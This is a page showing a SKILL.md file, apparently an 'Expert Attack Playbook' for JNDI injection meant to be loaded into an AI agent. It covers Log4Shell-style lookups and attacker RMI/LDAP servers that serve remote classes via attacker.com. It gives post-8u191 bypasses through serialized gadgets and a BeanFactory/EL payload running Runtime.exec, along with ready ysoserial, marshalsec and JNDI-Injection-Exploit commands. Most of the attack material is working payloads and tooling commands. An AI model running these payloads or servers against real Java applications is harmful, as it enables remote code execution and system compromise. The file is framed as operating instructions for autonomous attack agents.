jndi-injection

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• SKILL.md

SKILL.md (first lines)

---
name: jndi-injection
description: >-
  JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().
---

# SKILL: JNDI Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.

## 0. RELATED ROUTING

- [deserialization-insecure](../deserialization-insecure/SKILL.md) when JNDI leads to deserialization (post-8u191 bypass path)
- [expression-language-injection](../expression-language-injection/SKILL.md) when the JNDI sink is reached via SpEL or OGNL expression evaluation

---

## 1. CORE MECHANISM

JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).

**Vulnerability**: when `InitialContext.lookup(USER_INPUT)` receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.

```java
// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"
```

---

## 2. ATTACK VECTORS

### RMI (Remote Method Invocation)

```
rmi://attacker.com:1099/Exploit
```

Attacker runs an RMI server returning a `Reference` object pointing to a remote class:
```java
// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
```

### LDAP

```
ldap://attacker.com:1389/cn=Exploit
```

Attacker runs an LDAP server returning entries with `javaCodeBase`, `javaFactory`, or serialized object attributes.

LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).

### DNS (detection only)

```
dns://attacker-dns-server/lookup-name
```

Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.

---

## 3. JDK VERSION CONSTRAINTS AND BYPASS

| JDK Version | RMI Remote Class | LDAP Remote Class | Bypass |
|---|---|---|---|
| < 8u121 | YES | YES | Direct class loading |
| 8u121 – 8u190 | NO (`trustURLCodebase=false`) | YES | Use LDAP vector |
| >= 8u191 | NO | NO | Return serialized gadget object via LDAP |
| >= 8u191 (alternative) | NO | NO | `BeanFactory` + EL injection |

### Post-8u191 Bypass: LDAP → Serialized Gadget

Instead of returning a remote class URL, the attacker's LDAP server returns a **serialized Java object** in the `javaSerializedData` attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.

```bash
# ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# Then JNDI lookup points to: rmi://attacker:1099/whatever
```

### Post-8u191 Bypass: BeanFactory + EL

When Tomcat's `BeanFactory` is on the classpath, the LDAP response can reference it as a factory with EL expressions:

```
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
```

---

## 4. TOOLING

### marshalsec — JNDI Reference Server

```bash
# Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

# Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class
```

### JNDI-Injection-Exploit (all-in-one)

```bash
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# Automatically starts RMI + LDAP servers with multiple bypass strategies
```

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC